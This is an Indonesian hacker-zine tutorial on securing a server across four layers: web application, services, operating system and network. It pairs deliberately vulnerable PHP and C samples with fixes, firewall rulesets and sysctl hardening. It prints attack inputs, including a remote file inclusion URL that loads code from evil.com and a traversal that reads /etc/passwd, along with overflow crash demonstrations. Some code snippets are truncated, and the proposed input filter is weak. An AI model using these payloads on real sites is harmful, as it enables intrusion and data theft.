Terbitan Online Kecoak Elektronik
http://www.kecoak-elektronik.net
===========================================================================
MANAGEMEN SEKURITAS : 4 LAYER SEKURITAS
By : Ph03n1X || phoenix@kecoak-elektronik.net
===========================================================================
Security adalah masalah yang sangat kompleks dalam sebuah sistem dan jaringan komputer.
Membagi sekuritas menjadi beberapa layer sangat penting untuk penyederhanaan masalah
dan penanganan masing – masing bagian layer sekuriti itu. Berdasar pengalaman penulis
dan beberapa paper yang penulis baca, penulis membagi sekuritas dalam 4 layer umum untuk
keperluan manajemen sekuriti sebuah sistem :
sekuriti di layer website aplikasi : saat ini layer web aplikasi merupakan bagian yang
paling rawan dengan attacking, hal ini dikarenakan kemudahan dalam melakukan serangan
dan banyaknya bagian yang vulneral dari layer ini.
sekuriti di layer service : service yang dimaksud disini adalah service seperti SSH, FTP,
HTTP, sedangkan sekuriti dilayer service dapat diartikan sebagai cara untuk mengamankan
service – service tersebut misalnya dari serangan remote buffer overflow, remote format
string exploitation, dan denial of service terhadap daemon – daemon yang menjalankan service
tersebut.
sekuriti di layer sistem operasi : sekuriti dilayer ini ditekankan pada kernel dari sebuah
sistem operasi beserta software yang berjalan diatasnya, permasalahan forking terhadap
sistem yang menghabiskan resource sistem,denial of service level kernel, dan permasalahan
local eksploitasi seperti sys_ptrace() , sys_uselib(), dan vulnerability pada executable
root SUID file menjadi pokok masalah dilayer ini.
sekuriti di layer jaringan : sekuriti dilayer ini biasanya dikaitkan dengan layer 1 sampai
dengan layer empat di model OSI, permasalahan spoofing MAC, ARP, IP, denial of service
(SYN, ACK, UDP, ICMP), TCP/IP hijacking menjadi masalah dilayer ini.
Yang jadi masalah adalah biasanya seseorang sysadmin sebuah sistem belum tentu mendapat
akses ke gateway, router sehingga dia harus mengamankan box sistem sesuai dengan kekuasaannya.
Masalah semacam ini banyak sekali ditemui misalnya di kampus tempat saya kuliah sendiri.
Berikut ini sebuah paparan bagaimana mengamankan sistem anda dengan kuasa anda sebagai
sysadmin yang tidak memiliki akses ke komputer gateway ataupun firewall.
PERMASALAHAN DI WEBSITE APLIKASI
Ada beberapa masalah dilayer website yang mungkin sering terdengar saat ini : full path
disclosure, cross site scripting, HTML injection, remote/local file inclusion , remote
command execution, dan sql injection. Pada tulisan ini penulis asumsikan website dibangun
menggunakan PHP , code bagaimana yang membuat site dikatakan vulneral dan bagaimana
penanganan masalahnya akan penulis kupas menggunakan contoh – contoh kode PHP. Disini penulis
hanya memberikan contoh kode full path disclosure dan remote file inclussion.
1. Full Path Disclosure
Full path disclosure adalah sebuah hole website aplikasi yang memungkinkan seseorang untuk
melihat lokasi (path) file didalam sistem secara penuh. Berikut ini sebuah contoh code
mengenai hole ini (simpan ketiga file dalam satu directory).
file handle.php
file home.php
Ini View".$_REQUEST['view']."";
?>
file index.php
Untuk website yang close source terhadap codenya, kemudian bagian yang ditampilkan ke client
hanyalah index.php, maka code semacam ini mungkin tidak akan menjadi masalah, karena kita bisa
saja menutupi file handle.php dan home.php. Namun untuk aplikasi opensource tentu saja dengan
mendowload aplikasi tersebut kita bisa tahu file apa saja yang ada dalam aplikasi. Nah ketika
request langsung diarahkan ke home.php hasilnya adalah PHP error dengan menampilkan secara
lengkap path file home.php.
Fatal error: Call to undefined function validate() in /usr/local/apache2/htdocs/kck/home.php on line 2
Untuk mencegah resiko semacam ini, maka perlu ditambahkan code untuk menolak akses secara
langsung ke masing – masing file PHP, misalnya dengan kita tambahkan di bagian paling atas
file home.php code seperti berikut ini :
if (eregi("home.php", $PHP_SELF)) {
die ("You can't access this file directly...");
}
Sehingga ketika file home.php diakses secara langsung maka browser akan merespons dengan
“You can't access this file directly..."”
2. Remote File Inclussion
Remote file inclussion merupakan salah satu hole aplikasi PHP yang mempunyai security risk
cukup tinggi karena seseorang bisa mengakses command – command console operating sistem via
web browser. Contoh code berikut memungkinkan remote file inclussion :
Ini halaman ".$_REQUEST['page']."";
}
?>
Code diatas mengincludekan variable $page tanpa divalidasi terlebih dahulu, artinya kita bisa
mengincludekan sembarang evil file diremote site menggunakan variable $page, code diatas
sebenarnya juga merupakan contoh code local file inclussion sehingga ketika kita mengincludekan
/etc/passwd maka file /etc/passwd akan ditampilkan. Misal file diatas disimpan dengan nama
remote.php maka attacker bisa mengincludekan sembarang file menggunakan URL berikut :
http://sitebego.com/remote.php?page=http://evil.com/evilcode.txt?
http://sitebego.com/remote.php?page=../../../../../../../../../../../../etc/passwd
Code diatas bisa diperbaiki dengan memberi validasi pada variable $page sebelum diincludekan
misalnya seperti berikut :
$page=$_REQUEST['page'];
if(preg_match('/[\'\"%|*(){}~`!@#$;\\/=+_^\>\<]/',$page))
die("We have received an error request\n
");
include “$page”;
Sehingga ketika client merequest file dengan parameter variable $page cocok dengan karakter
yang ada difilter preg_match() akan muncul “We have received an error request ”. Satu hal
yang penulis anggap praktis untuk meminimalisasi resiko web based PHP exploitation adalah
dengan mensecurekan konfigurasi php.ini antara lain dengan : turn off display error, turn on
log error, disable fungsi untuk mengakses sistem seperti system(), exec(), passthru(), shell_exec(),
proc_open() dan lainnya, register global off, dan turn on safe mode .
PERMASALAHAN DI SERVICE
Sebuah server biasanya memberikan beragam service untuk kemudahan bagi client dan user. Misal
diasumsikan sebuah server memberikan 2 buah service, SSH mengunakan OpenSSH, HTTP menggunakan
apache. Pada tulisan ini penulis hanya membahas masalah remote fingerprint dan remote exploitasi
terhadap daemon – daemon yang menjalankan service di SSH dan HTTP , sedangkan untuk masalah
lokal exploitasi penulis lebih mengcategorykannya sebagai masalah dilayer sistem operasi.
Masalah exploitasi terhadap daemon biasanya terjadi ketika report securiti (advisory) baru
tentang sebuah hole disebuah software dipublish dan bermunculan exploit – exploit di internet,
untuk mengatasi hal ini dibutuhkan kerja keras sysadmin untuk melakukan patch dan/atau upgrade
terhadap software yang digunakan dalam hal ini ugrade OpenSSH dan apache. Hole – hole di layer
ini biasanya berupa remote buffer overflow, remote format string exploitation, dan remote denial
of service terhadap daemon, sebagai contoh openssh channel lookup hole, openssh challenge response
buffer overflow, apache ap_escape_html memori allocation DoS, apache Mod_DAV LOCK DoS dan
sebagainya. Untuk memahami bagaimana daemon dari sebuah service bisa diexploitasi berikut ini
penulis mencoba membahas menggunakan sebuah contoh code daemon yang penulis buat sendiri untuk
menjelaskan bagaimana “remote denial of service yang dikarenakan oleh stack overflow membuat
terminating service”.
/*VULNERABLE DAEMON*/
#include
#include
#include
#include
#include
#define MAXBUF 20
main()
{
int sock,port,newsock,len,pid;
struct sockaddr_in server,client;
char msg[MAXBUF];
char readbuf[MAXBUF];
if((sock=socket(AF_INET,SOCK_STREAM,0))<0)
{
fprintf(stderr,"Cannot create socket\n");
exit(1);
}
port=8181;
bzero((char *) &server, sizeof(server));
server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = INADDR_ANY;
if(bind(sock,(struct sockaddr *) &server, sizeof(server))<0)
{
fprintf(stderr,"Binding on port %d is failed\n",port);
exit(1);
}
if(listen(sock,5)<0)
{
fprintf(stderr,"Listen on port %d is failed",port);
exit(1);
}
printf(“Ph03n1X – k-elektronik\n”);
printf(“king_purba@yahoo.co.uk – http://kecoak-elektronik.net\n”);
printf("Now listening on TCP port %d\n",port);
pid = fork();
if (pid < 0) {fprintf(stderr, "fork failed\n");
exit(1);
} else if (pid != 0) {
exit(0);
}
setsid();
chdir("/");
umask(0);
close(0);
while(1)
{
len=sizeof(client);
newsock=accept(sock, (struct sockaddr *)&client, &len);
if(newsock<0)
continue;
bzero(readbuf,0);
read(newsock,readbuf,sizeof(readbuf));
strcpy(msg,readbuf); //Silakan diganti dengan strncpy(msg,readbuf,sizeof(msg))
printf("%s",msg);
sleep(10);
close(newsock);
}
}
Code diatas digunakan untuk membinding dan listen koneksi di port 8181 kemudian mengirim ekskusi
program ke background. Bagian fungsi strcpy() script diatas adalah bagian yang vulnerable dari
script daemon ini. Ketika sebuah koneksi dari client mengirimkan data lebih dari 20 character
yang terjadi adalah terminating services. Daemon yang ada dibackground mengalami stack overflow
sehingga mematikan service di port 8181. Permasalahan ini bisa diselesaikan dengan mengganti
strcpy(msg,readbuf) menggunakan strncpy(msg,readbuf,sizeof(msg)).
$gcc -o vuln vuln.c
$./vuln
Ph03n1X – k-elektronik
king_purba@yahoo.co.uk – http://kecoak-elektronik.net
Now listening on TCP port 8181
Menggunakan mesin lain dijaringan, coba koneksi menggunakan telnet kemudian kirimkan data lebih
dari 20 karakter ke sistem yang melisten diport 8181 tadi.
$telnet 172.16.11.103 8181
Trying 172.16.11.103...
Connected to kaiten (172.16.11.103).
Escape character is '^]'.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Connection closed by foreign host.
$telnet 172.16.11.103 8181
Trying 172.16.11.103...
telnet: connect to address 172.16.11.103: Connection refused
telnet: Unable to connect to remote host: Connection refused
Masalah diatas, jika terjadi pada sebuah software akan sangat membutuhkan penanganan vendor untuk
fixing bugsnya baru kemudian sysadmin melakukan patching terhadap software yang digunakannya,
namun dengan sample code diatas diharapkan pembaca bisa membuat patch sementara ketika bugs muncul
sedangkan vendor belum membuat update atau patch.
Masih banyak permasalahan diservice yang lain selain karena vulnerability code program, sebagai
contohnya adalah masalah brute forcing ssh dan http (htaccess). Belum lagi masalah yang mungkin
sepele seperti banner grabing yang sebenarnya merupakan hal yang sebaiknya disembunyikan kebocorannya.
Sebagai contohnya konfigurasi OpenSSH di /etc/ssh/sshd_config sebaiknya diset dengan :
hanya mengaktifkan protokol ssh 2, gunakan host key, tidak mengizinkan remote root login, memberi
maximum percobaan login dan kalo gagal disconnect atau bahkan blocking IP address yang coba login,
gunakan strict mode, gunakan password authentikasi, jangan diizinkan jika password kosong,gunakan
PAM.
PERMASALAHAN DI SISTEM OPERASI DAN PROGRAM DIATASNYA
Sistem operasi merupakan jantung dari semua aplikasi yang berjalan disebuah komputer, semua
service dan aplikasi tidak akan bisa digunakan tanpa adanya sistem operasi. Sistem operasi juga
yang mengatur penggunaan resource di komputer anda, sikap membatasi penggunaan resource harus
dilakukan untuk mencegah aktifitas percobaan menaikkan CPU process, misalnya untuk membatasi
maximum proses di OpenBSD box anda bisa dilakukan dengan menambahkan di /etc/sysctl.conf :
kern.maxproc=1000, kern.maxprocperuid=300, kern.maxfiles=4000,kern.maxfilesperproc=1030, atau
jika anda menggunakan linux box anda bisa menggunakan command ulimit (silakan dicoba : ulimit a)
dan menaruhnya di /etc/profile untuk menyamakan penggunaan resource semua user, atau bisa
menggunakan grsecurity patch. Masih banyak lagi masalah denial of service di level kernel linux
yang tentu saja untuk mengetahui perkembangannya harus selalu update informasi security. Permasalahan
level sistem tidak hanya pada denial of service saja, masih ada permasalahan user priviledge
escalation (misalnya masalah SUID file) dan local root exploitation. Sebagai contohnya adalah
permasalahan local root exploitation menggunakan ptrace untuk kernel 2.4.x, sys_uselib() exploitation
menggunakan pwned dikernel 2.6.x, dan cdrdao suid pada mandrake 10. Untuk meminimalisasi resiko
local exploitation kita dapat memulainya sedari kita mensetup server(buat partisi disk untuk /tmp)
kemudian menerapkan rule mounting device di /etc/fstab lebih restrict. Hapus directory /var/tmp/
kemudian buat simbolik link /var/tmp yang diarahkan ke directory /tmp/. Di bagian partisi yang
dimount ke /tmp berikan option noexec, nosuid sebagai berikut :
/dev/wd0e /tmp ffs rw,nodev,nosuid,softdep,noexec 1 2.
Dengan memberikan option noexec di /tmp yang merupakan directory favorite untuk local exploitation,
attacker menjadi tidak bisa mengekskusi script exploitsnya. Kemudian bagi pengguna linux sangat
disarankan menggunakan security patch seperti grsecurity, LIDS, atau SELinux. Berikut sebuah gambaran
code yang vulneral terhadap local exploitation based stack overflow dan format string.
1. Local Stack Overflow
Local stack overflow terjadi ketika program mengekskusi inputan yang diberikan oleh user dengan
panjang inputan lebih dari yang dialokasikan. Kondisi ini akan menyebabkan program menerima sinyal
SIGSEGV kemudian muncul output segmentation fault.
$cat localbuf.c
#include
int main(int argc, char *argv[])
{
char helo[10];
if(argc!=2)
{
printf("Ph03n1X kandangjamur security\n");
printf("Usage : %s \n",argv[0]);
exit(0);
}
strcpy(helo,argv[1]);//strncpy(helo,argv[1],sizeof(helo))
}
$gcc -o localbuf localbuf.c
$gdb localbuf
(gdb) run AAAAAAAAAAAAAAAAAAAAAAA
Starting program: /usr/local/h4ck/latihan/kecoak/localbuf AAAAAAAAAAAAAAAAAAAAAAA
Reading symbols from shared object read from target memory...(no debugging symbols found)...done.
Loaded system supplied DSO at 0x83e000
(no debugging symbols found)
(no debugging symbols found)
Program received signal SIGSEGV, Segmentation fault.
0x08048483 in main ()
(gdb)i r ebp
ebp 0x41414141 0x41414141
Bisa dilihat register ebp teroverwrite oleh AAAA (0x41414141), jika file ini diset SUID root maka
akibatnya adalah local root compromise. Kesalahan codenya ada di fungsi strcpy() yang tidak
memberikan batasan input user, dengan mengganti fungsi strcpy() menjadi strncpy() kejadian local
stack overflow bisa dihandle ketika user memasukkan input yang panjangnya melebihi buffer yang
disediakan.
2. Local Format String
Format string exploitation dapat terjadi karena kesalahan penerapan fungsi format string
seperti printf(), sprintf(), fprintf() dan yang lainnya pada sebuah program aplikasi. Berikut
sebuah contoh code untuk menjelaskan kesalahan format string.
$cat localfms.c
#include
int main(int argc, char *argv[])
{
char helo[10];
if(argc!=2)
{
printf("Ph03n1X kandangjamur security\n");
printf("Usage : %s \n",argv[0]);
exit(0);
}
printf(argv[1]); // fix printf(“%s”,argv[1]);
printf("\n");
}
$gcc -o localfms localfms.c
$localfms AAA
AAA
$localfms %p%p%p
0x804965c0xbff4b7f80x8048301
$localfms %x%x%x
804965cbfdea1488048301
Nah, bagian yang vulneral pada code diatas adalah kesalahan implementasi dari fungsi printf(argv[1])
yang seharusnya kita ganti dengan printf(“%s”,argv[1]). Sekali lagi penulis tekankan bahwa setiap
saat ditemukan hole pada software atau program yang anda pakai jadi rajin – rajinlah update sistem
yang anda pakai.
PERMASALAHAN NETWORK MENJADI MASALAH HOST
Permasalahan network disini dikaitkan dengan kerawanan protokol komunikasi seperti TCP, UDP, dan ICMP.
Andaikan anda seseorang sysadmin yang punya kuasa hanya pada server yang anda tangani, namun tidak
punya akses ke firewall maka tidak ada salahnya mensetup simple firewall di server yang anda tangani
untuk merangkap firewall network. Masalah scanning port dan fingerprint OS juga penulis masukkan dalam
masalah network karena memanfaatkan respons protokol – protokol komunikasi. Selain dengan firewalling
pengaturan /etc/sysctl.conf juga bisa digunakan untuk memberikan restrict terhadap akses protokol via
kernel. Host firewalling dilakuan penulis karena beberapa alasan, pertama : biasanya firewall network
disetup untuk mengamankan jaringan dari internet, namun rule yang mengatur akses dari lokal network
ke server dibuat tidak terlalu restrict, yang kedua : ketika network terdiri dari beberapa server
yang masing – masing server memberikan service berbeda – beda maka rule firewall diset untuk mengallow
akses ke port – port service itu sekalipun service di server kita tidak membutuhkan allow port – port
terlalu banyak. Misal server anda hanya membuka ssh dan http, namun server yang lain membuka service ftp,
imap, imaps maka port – port ftp, imap, dan imaps bisa dimanfaatkan oleh attacker untuk pemasangan
backdoor seperti shv atau untuk keperluan remote exploitation dengan binding shellcode. Berikut penulis
sertakan sebuah rule set iptables dan /etc/pf.conf openbsd yang digunakan untuk allow service ssh dan
http dengan sedikit restriction terhadap penggunaan protokol – protokol.
1. Firewall host menggunakan iptables
#!/bin/sh
modprobe ip_tables
modprobe ip_conntrack
modprobe iptable_filter
modprobe ipt_LOG
modprobe ipt_limit
modprobe ipt_state
iptables -F
iptables -X
iptables -P INPUT DROP
iptables -P OUTPUT ACCEPT
iptables -P FORWARD DROP
#TCP RULE INPUT
#http://seclists.org/lists/nmapdev/2003/JulSep/0024.html
iptables -A INPUT -p tcp -m multiport --destination-ports 0 -j REJECT
iptables -A INPUT -p tcp ! syn -m state --state NEW -j REJECT
iptables -A INPUT -p tcp --syn -m state --state NEW -m multiports --destination-ports 22,80 -m limit --limit 2/s -i eth0 -j ACCEPT
iptables -A INPUT -p tcp -m state --state ESTABLISHED,RELATED -j ACCEPT
#ICMP RULE INPUT
iptables -A INPUT -p icmp –icmp-type 0 -m limit --limit 2/s -i eth0 -j ACCEPT
#ALL UDP INPUT BLOCKED kecuali dari port dns
iptables -A INPUT -p udp --sport 53 -m limit --limit 2/s -i eth0 -j ACCEPT
2. Firewall host menggunakan /etc/pf.conf BSD Family
#Gunakan command pfctl -e untuk megenable packet filtering
#gunakan pfctl -f /etc/pf.conf untuk meload rule packet filtering
#Baca man pfctl untuk mengetahui lebih jauh tentang pf
#Baca juga pf user guide di openbsd.org
#MACROS
INT="rl0"
LO="lo0"
PRIV="{127.0.0.0/24,172.16.0.0/16,172.20.2.0/24}"
icmp_type_a="echorep"
pass quick on $LO
antispoof quick for {$LO $INT}
port_open="{22,80}"
#OPTION
set skip on lo0
#RULES
block all
#TCP INPUT RULE
pass in on $INT inet proto tcp from any to $INT port $port_open flags S/SA keep state \
(max 100, max-src-conn 20, max-src-conn-rate 15/5, max-src-states 3)
#ICMP INPUT RULE
pass in inet proto icmp all icmp-type $icmp_type_a keep state \
(max-src-conn-rate 15/5, max-src-states 3)
#ALL UDP INPUT BLOCKED kecuali dari dns
pass in on $INT proto udp from any port 53 to $INT keep state \
(max 100, max-src-conn 20, max-src-conn-rate 15/5, max-src-states 3)
#OUTPUT RULE
pass out on $INT proto tcp all modulate state flags S/SA
pass out on $INT proto {udp, icmp} all keep state
Kedua rule firewall diatas baik iptables maupun pf diset dengan mendeny semua paket terlebih dahulu
(untuk iptables default outputnya sengaja penulis accept) baru kemudian memberi allow kepada paket –
paket yang diperlukan. Rule firewall yang dibuat penulis lebih ditekankan pada rule input, karena
rule ini sengaja dibangun untuk sebuah host saja. Untuk TCP paket, paket yang diterima adalah paket
yang didahului oleh flags SYN dengan batasan limit paket untuk mencegah denial of service. Untuk ICMP,
paket icmp yang diterima adalah paket icmp echo reply agar server bisa ping keluar tapi tidak bisa
di ping ( dan command unix yang menggunakan icmp lainnya). Paket icmp echo reply ini masih dilimit
untuk menghindari serangan seperti smurfing attack. Semua paket UDP masuk sengaja penulis block kecuali
paket UDP dari port 53 untuk keperluan resolv DNS karena host tidak menggunakan service yang
memanfaatkan protokol UDP. Selain menggunakan host firewalling restriksi terhadap protokol – protokol
jaringan juga sebaiknya diatur dari sistem dengan mengedit dan/atau menambahkan baris file
/etc/sysctl.conf sebagai berikut:
# Controls the use of TCP syncookies
net.ipv4.tcp_syncookies = 1
#icmp problem
net.ipv4.icmp_ignore_bogus_error_responses=1
net.ipv4.icmp_echo_ignore_broadcasts=1
net.ipv4.icmp_echo_ignore_all=1
#Disable icmp redirection
net.ipv4.conf.eth0.accept_redirects = 0
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.lo.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
#Enable IP spoofing protection
net.ipv4.conf.eth0.rp_filter = 1
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.lo.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1
PENUTUP
Sebenarnya masih banyak sekali permasalahan security basic yang harus diterapkan dalam sebuah host,
namun mudah – mudahan tulisan ini bisa memberi gambaran global bagaimana seharusnya sekuritas diterapkan
di host/server kita di dalam network walaupun masih banyak sekali kekurangan dari tulisan ini. Tulisan
ini sengaja penulis bahas dengan ruang lingkup tema yang cukup luas dengan memberi sedikit konsep dan
praktikal pada masing – masing sub tema dengan tujuan untuk agar semua materi pada 4 layering sekuriti
tercakup. Kemudian masalah lain seperti masalah scanning, footprinting, enumeration, TCP wrapper dan
IDS yang belum penulis bahas disini mudah – mudahan dapat penulis ulas di tulisan berikutnya. The last
but not least “keep study n learning to be the best”.
REFERENCE
1. http://iptablestutorial.frozentux.net/iptablestutorial.html
2. http://www.openbsd.org/faq/pf/
3. Computer Hacking By : Xnuxer
4. Bugtraq security focus
5. sysctl manual pages dan paper hack your own system by : z3r0byt3 (sorry kalo salah tulis)